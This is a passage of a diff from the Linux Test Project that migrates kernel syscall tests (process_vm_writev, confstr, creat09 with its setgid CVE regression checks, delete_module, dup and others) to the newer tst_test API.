DEFAULT_CHAR 53 +static uintptr_t *data_ptr; +static char *str_buffsize; +static int bufsize = 100000; -static int sflag; -static char *sz_opt; -static option_t options[] = { - {"s:", &sflag, &sz_opt}, - {NULL, NULL, NULL} -}; +static void child_alloc_and_verify(int buffsize) +{ + char foo[buffsize]; + int i; + int err; -static long bufsz; -static int pipe_fd[2]; -static pid_t pids[2]; + tst_res(TINFO, "child 0: allocate memory"); -static void child_init_and_verify(void); -static void child_write(void); -static void setup(void); -static void cleanup(void); -static void help(void); + memset(foo, 'a', buffsize); + *data_ptr = (uintptr_t)foo; -int main(int argc, char **argv) -{ - int lc, status; - - tst_parse_opts(argc, argv, options, &help); - - setup(); - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - - SAFE_PIPE(cleanup, pipe_fd); - - /* the start of child_init_and_verify and child_write is - * already synchronized via pipe */ - pids[0] = fork(); - switch (pids[0]) { - case -1: - tst_brkm(TBROK | TERRNO, cleanup, "fork #0"); - case 0: - child_init_and_verify(); - exit(0); - default: - break; - } - - pids[1] = fork(); - switch (pids[1]) { - case -1: - tst_brkm(TBROK | TERRNO, cleanup, "fork #1"); - case 0: - child_write(); - exit(0); - } - - /* wait until child_write writes into - * child_init_and_verify's VM */ - SAFE_WAITPID(cleanup, pids[1], &status, 0); - if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) - tst_resm(TFAIL, "child 1 returns %d", status); - - /* signal child_init_and_verify to verify its VM now */ - TST_SAFE_CHECKPOINT_WAKE(cleanup, 0); - - SAFE_WAITPID(cleanup, pids[0], &status, 0); - if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) - tst_resm(TFAIL, "child 0 returns %d", status); - } + TST_CHECKPOINT_WAKE_AND_WAIT(0); - cleanup(); - tst_exit(); -} + err = 0; + for (i = 0; i < buffsize; i++) + if (foo[i] != 'w') + err++; -static void child_init_and_verify(void) -{ - unsigned char *foo; - char buf[bufsz]; - long i, nr_err; - - foo = SAFE_MALLOC(tst_exit, bufsz); - for (i = 0; i < bufsz; i++) - foo[i] = DEFAULT_CHAR; - tst_resm(TINFO, "child 0: memory allocated."); - - /* passing addr of string "foo" via pipe */ - SAFE_CLOSE(tst_exit, pipe_fd[0]); - snprintf(buf, bufsz, "%p", foo); - SAFE_WRITE(tst_exit, 1, pipe_fd[1], buf, strlen(buf) + 1); - SAFE_CLOSE(tst_exit, pipe_fd[1]); - - /* wait until child_write() is done writing to our VM */ - TST_SAFE_CHECKPOINT_WAIT(cleanup, 0); - - nr_err = 0; - for (i = 0; i < bufsz; i++) { - if (foo[i] != i % 256) { -#if DEBUG - tst_resm(TFAIL, "child 0: expected %i, got %i for " - "byte seq %ld", i % 256, foo[i], i); -#endif - nr_err++; - } - } - if (nr_err) - tst_brkm(TFAIL, tst_exit, "child 0: got %ld incorrect bytes.", - nr_err); + if (err) + tst_res(TFAIL, "child 0: found %d differences from expected data", err); else - tst_resm(TPASS, "child 0: all bytes are expected."); + tst_res(TPASS, "child 0: read back expected data"); } -static void child_write(void) +static void child_write(int buffsize, pid_t pid_alloc) { - unsigned char *lp, *rp; - char buf[bufsz]; + char lp[buffsize]; struct iovec local, remote; - long i; - - /* get addr from pipe */ - SAFE_CLOSE(tst_exit, pipe_fd[1]); - SAFE_READ(tst_exit, 0, pipe_fd[0], buf, bufsz); - SAFE_CLOSE(tst_exit, pipe_fd[0]); - if (sscanf(buf, "%p", &rp) != 1) - tst_brkm(TBROK | TERRNO, tst_exit, "sscanf"); - - lp = SAFE_MALLOC(tst_exit, bufsz + PADDING_SIZE * 2); - - for (i = 0; i < bufsz + PADDING_SIZE * 2; i++) - lp[i] = DEFAULT_CHAR; - for (i = 0; i < bufsz; i++) - lp[i + PADDING_SIZE] = i % 256; - - local.iov_base = lp + PADDING_SIZE; - local.iov_len = bufsz; - remote.iov_base = rp; - remote.iov_len = bufsz; - - tst_resm(TINFO, "child 2: write to the same memory location."); - TEST(ltp_syscall(__NR_process_vm_writev, pids[0], &local, - 1UL, &remote, 1UL, 0UL)); - if (TEST_RETURN != bufsz) - tst_brkm(TFAIL | TTERRNO, tst_exit, "process_vm_readv"); + + tst_res(TINFO, "child 1: write to the same memory location"); + + memset(lp, 'w', buffsize); + + local.iov_base = lp; + local.iov_len = buffsize; + remote.iov_base = (void *)*data_ptr; + remote.iov_len = buffsize; + + TST_EXP_POSITIVE(tst_syscall(__NR_process_vm_writev, pid_alloc, &local, + 1UL, &remote, 1UL, 0UL)); + + if (TST_RET != buffsize) { + tst_brk(TBROK, "process_vm_writev: expected %d bytes but got %ld", + buffsize, TST_RET); + } } static void setup(void) { - tst_require_root(); - - /* Just a sanity check of the existence of syscall */ - ltp_syscall(__NR_process_vm_writev, getpid(), NULL, 0UL, NULL, 0UL, 0UL); + tst_syscall(__NR_process_vm_writev, getpid(), NULL, 0UL, NULL, 0UL, 0UL); - bufsz = - sflag ? SAFE_STRTOL(NULL, sz_opt, 1, LONG_MAX - PADDING_SIZE * 2) - : 100000; + if (tst_parse_int(str_buffsize, &bufsize, 1, INT_MAX)) + tst_brk(TBROK, "Invalid buffer size '%s'", str_buffsize); - tst_tmpdir(); - TST_CHECKPOINT_INIT(cleanup); - - TEST_PAUSE; + data_ptr = SAFE_MMAP(NULL, sizeof(uintptr_t), PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_ANONYMOUS, -1, 0); } static void cleanup(void) { - tst_rmdir(); + if (data_ptr) + SAFE_MUNMAP(data_ptr, sizeof(uintptr_t)); } -static void help(void) +static void run(void) { - printf(" -s NUM Set the size of total buffer size.\n"); + pid_t pid_alloc; + pid_t pid_write; + int status; + + pid_alloc = SAFE_FORK(); + if (!pid_alloc) { + child_alloc_and_verify(bufsize); + return; + } + + TST_CHECKPOINT_WAIT(0); + + pid_write = SAFE_FORK(); + if (!pid_write) { + child_write(bufsize, pid_alloc); + return; + } + + SAFE_WAITPID(pid_write, &status, 0); + if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) + tst_res(TFAIL, "write child: %s", tst_strstatus(status)); + + TST_CHECKPOINT_WAKE(0); } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .forks_child = 1, + .needs_checkpoints = 1, + .options = + (struct tst_option[]){ + { "s:", &str_buffsize, "Total buffer size (default 100000)" }, + {}, + }, +}; diff --git a/testcases/kernel/syscalls/confstr/confstr01.c b/testcases/kernel/syscalls/confstr/confstr01.c index 0fc4c46d..d5cb5a47 100755 --- a/testcases/kernel/syscalls/confstr/confstr01.c +++ b/testcases/kernel/syscalls/confstr/confstr01.c @@ -1,136 +1,84 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2002 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software Foundation, - * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2002 +* 11/20/2002 Port to LTP +* 06/30/2001 Port to Linux + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + * Copyright (c) 2022 Petr Vorel */ -/* 11/20/2002 Port to LTP robbiew@us.ibm.com */ -/* 06/30/2001 Port to Linux nsharoff@us.ibm.com */ - -/* - * NAME - * confstr1.c - test for confstr(3C) - Get configuration-defined string - * values. - * - * CALLS - * confstr(3C) - * - * RESTRICTIONS - * MUST RUN AS ROOT +/*\ + * [Description] * + * Test confstr(3) 700 (X/Open 7) functionality -- POSIX 2008. */ -#define _XOPEN_SOURCE 500 +#define _XOPEN_SOURCE 700 +#include #include -#include -#include -#include -#include "test.h" -#include "safe_macros.h" +#include "tst_test.h" + +#define PAIR(name) {_CS_ ## name, #name} static struct test_case_t { int value; char *name; } test_cases[] = { - {_CS_PATH, "PATH"}, - {_CS_XBS5_ILP32_OFF32_CFLAGS, "XBS5_ILP32_OFF32_CFLAGS"}, - {_CS_XBS5_ILP32_OFF32_LDFLAGS, "XBS5_ILP32_OFF32_LDFLAGS"}, - {_CS_XBS5_ILP32_OFF32_LIBS, "XBS5_ILP32_OFF32_LIBS"}, - {_CS_XBS5_ILP32_OFF32_LINTFLAGS, "XBS5_ILP32_OFF32_LINTFLAGS"}, - {_CS_XBS5_ILP32_OFFBIG_CFLAGS, "XBS5_ILP32_OFFBIG_CFLAGS"}, - {_CS_XBS5_ILP32_OFFBIG_LDFLAGS, "XBS5_ILP32_OFFBIG_LDFLAGS"}, - {_CS_XBS5_ILP32_OFFBIG_LIBS, "XBS5_ILP32_OFFBIG_LIBS"}, - {_CS_XBS5_ILP32_OFFBIG_LINTFLAGS, "XBS5_ILP32_OFFBIG_LINTFLAGS"}, - {_CS_XBS5_LP64_OFF64_CFLAGS, "XBS5_LP64_OFF64_CFLAGS"}, - {_CS_XBS5_LP64_OFF64_LDFLAGS, "XBS5_LP64_OFF64_LDFLAGS"}, - {_CS_XBS5_LP64_OFF64_LIBS, "XBS5_LP64_OFF64_LIBS"}, - {_CS_XBS5_LP64_OFF64_LINTFLAGS, "XBS5_LP64_OFF64_LINTFLAGS"}, - {_CS_XBS5_LPBIG_OFFBIG_CFLAGS, "XBS5_LPBIG_OFFBIG_CFLAGS"}, - {_CS_XBS5_LPBIG_OFFBIG_LDFLAGS, "XBS5_LPBIG_OFFBIG_LDFLAGS"}, - {_CS_XBS5_LPBIG_OFFBIG_LIBS, "XBS5_LPBIG_OFFBIG_LIBS"}, - {_CS_XBS5_LPBIG_OFFBIG_LINTFLAGS, "XBS5_LPBIG_OFFBIG_LINTFLAGS"}, - {_CS_GNU_LIBC_VERSION, "GNU_LIBC_VERSION"}, - {_CS_GNU_LIBPTHREAD_VERSION, "GNU_LIBPTHREAD_VERSION"}, + PAIR(PATH), + PAIR(GNU_LIBC_VERSION), + PAIR(GNU_LIBPTHREAD_VERSION), + PAIR(POSIX_V7_ILP32_OFF32_CFLAGS), + PAIR(POSIX_V7_ILP32_OFF32_LDFLAGS), + PAIR(POSIX_V7_ILP32_OFF32_LIBS), + PAIR(POSIX_V7_ILP32_OFFBIG_CFLAGS), + PAIR(POSIX_V7_ILP32_OFFBIG_LDFLAGS), + PAIR(POSIX_V7_ILP32_OFFBIG_LIBS), + PAIR(POSIX_V7_LP64_OFF64_CFLAGS), + PAIR(POSIX_V7_LP64_OFF64_LDFLAGS), + PAIR(POSIX_V7_LP64_OFF64_LIBS), + PAIR(POSIX_V7_LPBIG_OFFBIG_CFLAGS), + PAIR(POSIX_V7_LPBIG_OFFBIG_LDFLAGS), + PAIR(POSIX_V7_LPBIG_OFFBIG_LIBS), +#ifdef _CS_POSIX_V7_THREADS_CFLAGS + PAIR(POSIX_V7_THREADS_CFLAGS), +#endif +#ifdef _CS_POSIX_V7_THREADS_LDFLAGS + PAIR(POSIX_V7_THREADS_LDFLAGS), +#endif + PAIR(POSIX_V7_WIDTH_RESTRICTED_ENVS), +#ifdef _CS_V7_ENV + PAIR(V7_ENV), +#endif }; -char *TCID = "confstr01"; -int TST_TOTAL = ARRAY_SIZE(test_cases); - -static void setup(void); -static void cleanup(void); - -int main(int argc, char *argv[]) +static void run(unsigned int i) { - int lc; - int i; char *buf; int len; - tst_parse_opts(argc, argv, NULL, NULL); + TST_EXP_POSITIVE(confstr(test_cases[i].value, NULL, (size_t)0)); - setup(); + if (!TST_RET) + return; - for (lc = 0; TEST_LOOPING(lc); lc++) { + len = TST_RET; + buf = SAFE_MALLOC(len); - tst_count = 0; + TEST(confstr(test_cases[i].value, buf, len)); - for (i = 0; i < TST_TOTAL; i++) { - - TEST(confstr(test_cases[i].value, NULL, (size_t)0)); - - if (TEST_RETURN != 0) { - len = TEST_RETURN; - buf = SAFE_MALLOC(cleanup, len); - TEST(confstr(test_cases[i].value, buf, len)); - - if (TEST_RETURN != len || buf[len-1] != '\0') { - tst_brkm(TBROK, cleanup, - "confstr :%s failed", - test_cases[i].name); - } else { - tst_resm(TPASS, "confstr %s = '%s'", - test_cases[i].name, buf); - } - free(buf); - } else { - if (TEST_ERRNO == EINVAL) { - tst_resm(TCONF, - "confstr %s not supported", - test_cases[i].name); - } else { - tst_resm(TFAIL, - "confstr %s failed", - test_cases[i].name); - } - } - } + if (buf[len - 1] != '\0') { + tst_brk(TFAIL, "confstr: %s, %s", test_cases[i].name, + tst_strerrno(TST_ERR)); + } else { + tst_res(TPASS, "confstr %s = '%s'", test_cases[i].name, buf); } - cleanup(); - - tst_exit(); -} - -static void setup(void) -{ - TEST_PAUSE; + free(buf); } -static void cleanup(void) -{ -} +static struct tst_test test = { + .test = run, + .tcnt = ARRAY_SIZE(test_cases), +}; diff --git a/testcases/kernel/syscalls/connect/connect01.c b/testcases/kernel/syscalls/connect/connect01.c index 0d7d15a8..1c1630fa 100755 --- a/testcases/kernel/syscalls/connect/connect01.c +++ b/testcases/kernel/syscalls/connect/connect01.c @@ -129,7 +129,7 @@ static char *argv0; static int sys_connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen) { - return ltp_syscall(__NR_connect, sockfd, addr, addrlen); + return tst_syscall(__NR_connect, sockfd, addr, addrlen); } #define connect(sockfd, addr, addrlen) sys_connect(sockfd, addr, addrlen) diff --git a/testcases/kernel/syscalls/copy_file_range/copy_file_range.h b/testcases/kernel/syscalls/copy_file_range/copy_file_range.h index 1d80ab0f..8e52954e 100755 --- a/testcases/kernel/syscalls/copy_file_range/copy_file_range.h +++ b/testcases/kernel/syscalls/copy_file_range/copy_file_range.h @@ -67,7 +67,7 @@ static inline int verify_cross_fs_copy_support(const char *path_in, const char * fd = SAFE_OPEN(path_in, O_RDWR | O_CREAT, 0664); /* Writing page_size * 4 of data into test file */ for (i = 0; i < (int)(getpagesize() * 4); i++) - SAFE_WRITE(1, fd, CONTENT, CONTSIZE); + SAFE_WRITE(SAFE_WRITE_ALL, fd, CONTENT, CONTSIZE); fd_test = SAFE_OPEN(path_out, O_RDWR | O_CREAT, 0664); TEST(sys_copy_file_range(fd, 0, fd_test, 0, CONTSIZE, 0)); diff --git a/testcases/kernel/syscalls/copy_file_range/copy_file_range01.c b/testcases/kernel/syscalls/copy_file_range/copy_file_range01.c index 7d27007a..bbcb0ca3 100755 --- a/testcases/kernel/syscalls/copy_file_range/copy_file_range01.c +++ b/testcases/kernel/syscalls/copy_file_range/copy_file_range01.c @@ -232,4 +232,5 @@ static struct tst_test test = { .all_filesystems = 1, .test = copy_file_range_verify, .test_variants = TEST_VARIANTS, + .max_runtime = 5 }; diff --git a/testcases/kernel/syscalls/copy_file_range/copy_file_range02.c b/testcases/kernel/syscalls/copy_file_range/copy_file_range02.c index bc27fbe5..704f91bc 100755 --- a/testcases/kernel/syscalls/copy_file_range/copy_file_range02.c +++ b/testcases/kernel/syscalls/copy_file_range/copy_file_range02.c @@ -220,7 +220,7 @@ static void setup(void) SAFE_PIPE(fd_pipe); - SAFE_WRITE(1, fd_src, CONTENT, CONTSIZE); + SAFE_WRITE(SAFE_WRITE_ALL, fd_src, CONTENT, CONTSIZE); close(fd_src); fd_src = SAFE_OPEN(FILE_SRC_PATH, O_RDONLY, 0664); fd_dup = SAFE_OPEN(FILE_SRC_PATH, O_WRONLY|O_CREAT, 0666); diff --git a/testcases/kernel/syscalls/copy_file_range/copy_file_range03.c b/testcases/kernel/syscalls/copy_file_range/copy_file_range03.c index 21a5d553..21e625f4 100755 --- a/testcases/kernel/syscalls/copy_file_range/copy_file_range03.c +++ b/testcases/kernel/syscalls/copy_file_range/copy_file_range03.c @@ -66,7 +66,7 @@ static void setup(void) fd_dest = SAFE_OPEN(FILE_DEST_PATH, O_RDWR | O_CREAT, 0664); fd_src = SAFE_OPEN(FILE_SRC_PATH, O_RDWR | O_CREAT, 0664); - SAFE_WRITE(1, fd_src, CONTENT, CONTSIZE); + SAFE_WRITE(SAFE_WRITE_ALL, fd_src, CONTENT, CONTSIZE); SAFE_CLOSE(fd_src); fd_src = SAFE_OPEN(FILE_SRC_PATH, O_RDONLY); } diff --git a/testcases/kernel/syscalls/creat/creat07.c b/testcases/kernel/syscalls/creat/creat07.c index 1e977947..7bd32ab4 100755 --- a/testcases/kernel/syscalls/creat/creat07.c +++ b/testcases/kernel/syscalls/creat/creat07.c @@ -47,14 +47,12 @@ static void verify_creat(void) SAFE_WAITPID(pid, NULL, 0); } -static const char *const resource_files[] = { - TEST_APP, - NULL, -}; - static struct tst_test test = { .test_all = verify_creat, .needs_checkpoints = 1, .forks_child = 1, - .resource_files = resource_files, + .resource_files = (const char *const []) { + TEST_APP, + NULL + } }; diff --git a/testcases/kernel/syscalls/creat/creat09.c b/testcases/kernel/syscalls/creat/creat09.c index bed7bddb..a5d3740a 100755 --- a/testcases/kernel/syscalls/creat/creat09.c +++ b/testcases/kernel/syscalls/creat/creat09.c @@ -28,6 +28,16 @@ * Date: Fri Jan 22 16:48:18 2021 -0800 * * xfs: fix up non-directory creation in SGID directories + * + * When use acl or umask, it still has bug. + * + * Fixed in: + * + * commit 1639a49ccdce58ea248841ed9b23babcce6dbb0b + * Author: Yang Xu + * Date: Thu July 14 14:11:27 2022 +0800 + * + * fs: move S_ISGID stripping into the vfs_*() helpers */ #include @@ -47,6 +57,14 @@ static gid_t free_gid; static int fd = -1; +static struct tcase { + const char *msg; + int mask; +} tcases[] = { + {"umask(0)", 0}, + {"umask(S_IXGRP)", S_IXGRP} +}; + static void setup(void) { struct stat buf; @@ -94,8 +112,13 @@ static void file_test(const char *name) tst_res(TPASS, "%s: Setgid bit not set", name); } -static void run(void) +static void run(unsigned int n) { + struct tcase *tc = &tcases[n]; + + umask(tc->mask); + tst_res(TINFO, "File created with %s", tc->msg); + fd = SAFE_CREAT(CREAT_FILE, MODE_SGID); SAFE_CLOSE(fd); file_test(CREAT_FILE); @@ -115,13 +138,14 @@ static void cleanup(void) } static struct tst_test test = { - .test_all = run, + .test = run, .setup = setup, .cleanup = cleanup, .needs_root = 1, .all_filesystems = 1, .mount_device = 1, .mntpoint = MNTPOINT, + .tcnt = ARRAY_SIZE(tcases), .skip_filesystems = (const char*[]) { "exfat", "ntfs", @@ -131,7 +155,10 @@ static struct tst_test test = { .tags = (const struct tst_tag[]) { {"linux-git", "0fa3ecd87848"}, {"CVE", "2018-13405"}, + {"CVE", "2021-4037"}, {"linux-git", "01ea173e103e"}, + {"linux-git", "1639a49ccdce"}, + {"linux-git", "426b4ca2d6a5"}, {} }, }; diff --git a/testcases/kernel/syscalls/delete_module/delete_module01.c b/testcases/kernel/syscalls/delete_module/delete_module01.c index c4f6978c..90d8b528 100755 --- a/testcases/kernel/syscalls/delete_module/delete_module01.c +++ b/testcases/kernel/syscalls/delete_module/delete_module01.c @@ -2,38 +2,39 @@ /* * Copyright (c) Wipro Technologies Ltd, 2002. All Rights Reserved. * Copyright (c) 2018 Xiao Yang + * Copyright (c) Linux Test Project, 2002-2023 + * Author: Madhu T L */ -/* - * AUTHOR: Madhu T L +/*\ + * [Description] + * + * Basic test for delete_module(2). * - * DESCRIPTION: - * Basic tests for delete_module(2) - * 1) insmod dummy_del_mod.ko - * 2) call delete_module(2) to remove dummy_del_mod.ko + * Install dummy_del_mod.ko and delete it with delete_module(2). */ -#include -#include "lapi/syscalls.h" #include "tst_test.h" #include "tst_module.h" +#include "lapi/syscalls.h" #define MODULE_NAME "dummy_del_mod" -#define MODULE_NAME_KO "dummy_del_mod.ko" +#define MODULE_NAME_KO MODULE_NAME ".ko" static int module_loaded; static void do_delete_module(void) { - if (module_loaded == 0) { + if (!module_loaded) { tst_module_load(MODULE_NAME_KO, NULL); module_loaded = 1; } TEST(tst_syscall(__NR_delete_module, MODULE_NAME, 0)); if (TST_RET == -1) { - tst_res(TFAIL | TTERRNO, "delete_module() failed to " - "remove module entry for %s ", MODULE_NAME); + tst_res(TFAIL | TTERRNO, + "delete_module() failed to remove module entry for %s", + MODULE_NAME); return; } @@ -43,14 +44,15 @@ static void do_delete_module(void) static void cleanup(void) { - if (module_loaded == 1) + if (module_loaded) tst_module_unload(MODULE_NAME_KO); } static struct tst_test test = { .needs_root = 1, - /* lockdown requires signed modules */ + /* lockdown and SecureBoot requires signed modules */ .skip_in_lockdown = 1, + .skip_in_secureboot = 1, .cleanup = cleanup, .test_all = do_delete_module, }; diff --git a/testcases/kernel/syscalls/delete_module/delete_module03.c b/testcases/kernel/syscalls/delete_module/delete_module03.c index 863d3618..7e92fc2a 100755 --- a/testcases/kernel/syscalls/delete_module/delete_module03.c +++ b/testcases/kernel/syscalls/delete_module/delete_module03.c @@ -72,8 +72,9 @@ static void cleanup(void) static struct tst_test test = { .needs_root = 1, - /* lockdown requires signed modules */ + /* lockdown and SecureBoot requires signed modules */ .skip_in_lockdown = 1, + .skip_in_secureboot = 1, .setup = setup, .cleanup = cleanup, .test_all = do_delete_module, diff --git a/testcases/kernel/syscalls/delete_module/dummy_del_mod.c b/testcases/kernel/syscalls/delete_module/dummy_del_mod.c index 04a0b321..0ca7bea3 100755 --- a/testcases/kernel/syscalls/delete_module/dummy_del_mod.c +++ b/testcases/kernel/syscalls/delete_module/dummy_del_mod.c @@ -14,8 +14,6 @@ #include #include -static int dummy_func_test(void); - /* Dummy function called by dependent module */ int dummy_func_test(void) { diff --git a/testcases/kernel/syscalls/dup/dup01.c b/testcases/kernel/syscalls/dup/dup01.c index 74e24cc0..f5cd058e 100755 --- a/testcases/kernel/syscalls/dup/dup01.c +++ b/testcases/kernel/syscalls/dup/dup01.c @@ -7,27 +7,32 @@ * */ +/*\ + * [Description] + * + * Verify that dup(2) syscall executes successfully and allocates + * a new file descriptor which refers to the same open file as oldfd. + */ + #include "tst_test.h" static int fd; +static struct stat buf1, buf2; static void verify_dup(void) { - TEST(dup(fd)); - - if (TST_RET < -1) { - tst_res(TFAIL, "Invalid dup() return value %ld", TST_RET); - } else if (TST_RET == -1) { - tst_res(TFAIL | TTERRNO, "dup(%d) Failed", fd); - } else { - tst_res(TPASS, "dup(%d) returned %ld", fd, TST_RET); - SAFE_CLOSE(TST_RET); - } + TST_EXP_FD(dup(fd)); + + SAFE_FSTAT(TST_RET, &buf2); + TST_EXP_EQ_LU(buf1.st_ino, buf2.st_ino); + + SAFE_CLOSE(TST_RET); } static void setup(void) { fd = SAFE_OPEN("dupfile", O_RDWR | O_CREAT, 0700); + SAFE_FSTAT(fd, &buf1); } static void cleanup(void) diff --git a/testcases/kernel/syscalls/dup/dup02.c b/testcases/kernel/syscalls/dup/dup02.c index 528bcdbc..5391738a 100755 --- a/testcases/kernel/syscalls/dup/dup02.c +++ b/testcases/kernel/syscalls/dup/dup02.c @@ -2,24 +2,21 @@ /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. * Copyright (c) 2020 SUSE LLC - * * 03/30/1992 AUTHOR: Richard Logan CO-PILOT: William Roske - * */ + /*\ * [Description] - * Negative test for dup(2) with bad fds. * - * [Algorithm] - * Call dup(2) with invalid argument and make sure it returns -1 with errno set - * to EBADF. + * Verify that dup(2) syscall fails with errno EBADF when called with + * invalid value for oldfd argument. */ #include "tst_test.h" static struct tcase { int fd; - int expected_errno; + int exp_err; } tcases[] = { {-1, EBADF}, {1500, EBADF}, @@ -29,27 +26,10 @@ static void run(unsigned int n) { struct tcase *tc = &tcases[n]; - TEST(dup(tc->fd)); - - if (TST_RET < -1) { - tst_res(TFAIL | TTERRNO, "Invalid dup() return value %ld", - TST_RET); - return; - } - - if (TST_RET == -1) { - if (tc->expected_errno == TST_ERR) { - tst_res(TPASS | TTERRNO, "dup(%d) failed as expected", - tc->fd); - } else { - tst_res(TFAIL | TTERRNO, "dup(%d) failed unexpectedly", - tc->fd); - } - return; - } + TST_EXP_FAIL2(dup(tc->fd), tc->exp_err, "dup(%d)", tc->fd); - tst_res(TFAIL, "dup(%d) succeeded unexpectedly", tc->fd); - SAFE_CLOSE(TST_RET); + if (TST_RET != -1) + SAFE_CLOSE(TST_RET); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/dup/dup03.c b/testcases/kernel/syscalls/dup/dup03.c index 0e99813f..d59e61f2 100755 --- a/testcases/kernel/syscalls/dup/dup03.c +++ b/testcases/kernel/syscalls/dup/dup03.c @@ -6,48 +6,30 @@ */ /*\ * [Description] - * Negative test for dup(2) (too many fds). * - * [Algorithm] - * Open the maximum allowed number of file descriptors and then try to call - * dup() once more and verify it fails with EMFILE. + * Verify that dup(2) syscall fails with errno EMFILE when the per-process + * limit on the number of open file descriptors has been reached. */ #include #include "tst_test.h" -int *fd; -int nfds; +static int *fd; +static int nfds; static void run(void) { - TEST(dup(fd[0])); + TST_EXP_FAIL2(dup(fd[0]), EMFILE, "dup(%d)", fd[0]); - if (TST_RET < -1) { - tst_res(TFAIL, "Invalid dup() return value %ld", TST_RET); - return; - } - - if (TST_RET == -1) { - if (TST_ERR == EMFILE) - tst_res(TPASS | TTERRNO, "dup() failed as expected"); - else - tst_res(TFAIL | TTERRNO, "dup() failed unexpectedly"); - return; - } - - tst_res(TFAIL, "dup() succeeded unexpectedly"); - SAFE_CLOSE(TST_RET); + if (TST_RET != -1) + SAFE_CLOSE(TST_RET); } static void setup(void) { long maxfds; - maxfds = sysconf(_SC_OPEN_MAX); - if (maxfds == -1) - tst_brk(TBROK, "sysconf(_SC_OPEN_MAX) failed"); - + maxfds = SAFE_SYSCONF(_SC_OPEN_MAX); fd = SAFE_MALLOC(maxfds * sizeof(int)); fd[0] = SAFE_OPEN("dupfile", O_RDWR | O_CREAT, 0700); diff --git a/testcases/kernel/syscalls/dup/dup04.c b/testcases/kernel/syscalls/dup/dup04.c index 8d45f7a9..053fb40c 100755 --- a/testcases/kernel/syscalls/dup/dup04.c +++ b/testcases/kernel/syscalls/dup/dup04.c @@ -1,12 +1,12 @@ // SPDX-License-Identifier: GPL-2.0-only /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * * 06/1994 AUTHOR: Richard Logan CO-PILOT: William Roske + * Copyright (c) 2023 SUSE LLC */ /*\ - * [DESCRIPTION] + * [Description] * * Basic test for dup(2) of a system pipe descriptor. */ @@ -17,38 +17,18 @@ #include "tst_test.h" -int fd[2]; +static int fd[2]; static void run(void) { - TEST(dup(fd[0])); - - if (TST_RET == -1) - tst_res(TFAIL | TTERRNO, - "dup of read side of pipe failed"); - else { - tst_res(TPASS, - "dup(%d) read side of syspipe returned %ld", - fd[0], TST_RET); - - SAFE_CLOSE(TST_RET); - } - - TEST(dup(fd[1])); - - if (TST_RET == -1) { - tst_res(TFAIL | TTERRNO, - "dup of write side of pipe failed"); - } else { - tst_res(TPASS, - "dup(%d) write side of syspipe returned %ld", - fd[1], TST_RET); - - SAFE_CLOSE(TST_RET); - } + TST_EXP_FD(dup(fd[0]), "dup(%d) read end of the pipe", fd[0]); + SAFE_CLOSE(TST_RET); + + TST_EXP_FD(dup(fd[1]), "dup(%d) write end of the pipe", fd[1]); + SAFE_CLOSE(TST_RET); } -void setup(void) +static void setup(void) { fd[0] = -1; @@ -56,7 +36,7 @@ void setup(void) } static struct tst_test test = { - .test_all = run, - .setup = setup, - .needs_tmpdir = 1, + .test_all = run, + .setup = setup, + .needs_tmpdir = 1, }; diff --git a/testcases/kernel/syscalls/dup/dup05.c b/testcases/kernel/syscalls/dup/dup05.c index 362f3e17..619b4861 100755 --- a/testcases/kernel/syscalls/dup/dup05.c +++ b/testcases/kernel/syscalls/dup/dup05.c @@ -1,55 +1,43 @@ // SPDX-License-Identifier: GPL-2.0-only /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * * 06/1994 AUTHOR: Richard Logan CO-PILOT: William Roske + * Copyright (c) 2012-2023 SUSE LLC */ /*\ - * [DESCRIPTION] + * [Description] * - * Basic test for dup(2) of a named pipe descriptor + * Basic test for dup(2) of a named pipe descriptor. */ -#include + #include "tst_test.h" -char Fname[255]; -int fd; +#define FNAME "dupfile" + +static int fd = -1; static void run(void) { - TEST(dup(fd)); - - if (TST_RET == -1) { - tst_res(TFAIL | TTERRNO, "dup failed"); - } else { - tst_res(TPASS, "dup returned %ld", - TST_RET); - - SAFE_CLOSE(TST_RET); - } + TST_EXP_FD(dup(fd), "dup(%d)", fd); + SAFE_CLOSE(TST_RET); } -void setup(void) +static void setup(void) { - fd = -1; - - sprintf(Fname, "dupfile"); - SAFE_MKFIFO(Fname, 0777); - if ((fd = open(Fname, O_RDWR, 0700)) == -1) - tst_brk(TBROK, "open failed"); + SAFE_MKFIFO(FNAME, 0777); + fd = SAFE_OPEN(FNAME, O_RDWR, 0700); } -void cleanup(void) +static void cleanup(void) { if (fd != -1) - if (close(fd) == -1) - tst_res(TWARN | TERRNO, "close failed"); + SAFE_CLOSE(fd); } static struct tst_test test = { - .test_all = run, - .setup = setup, - .cleanup = cleanup, + .test_all = run, + .setup = setup, + .cleanup = cleanup, .needs_tmpdir = 1, }; diff --git a/testcases/kernel/syscalls/dup2/dup203.c b/testcases/kernel/syscalls/dup2/dup203.c index c76f125a..c8d1095f 100755 --- a/testcases/kernel/syscalls/dup2/dup203.c +++ b/testcases/kernel/syscalls/dup2/dup203.c @@ -40,11 +40,11 @@ static void run(unsigned int i) tst_res(TINFO, "%s", tc->desc); fd0 = SAFE_CREAT(filename0, 0666); - SAFE_WRITE(1, fd0, filename0, strlen(filename0)); + SAFE_WRITE(SAFE_WRITE_ALL, fd0, filename0, strlen(filename0)); SAFE_CLOSE(fd0); fd1 = SAFE_CREAT(filename1, 0666); - 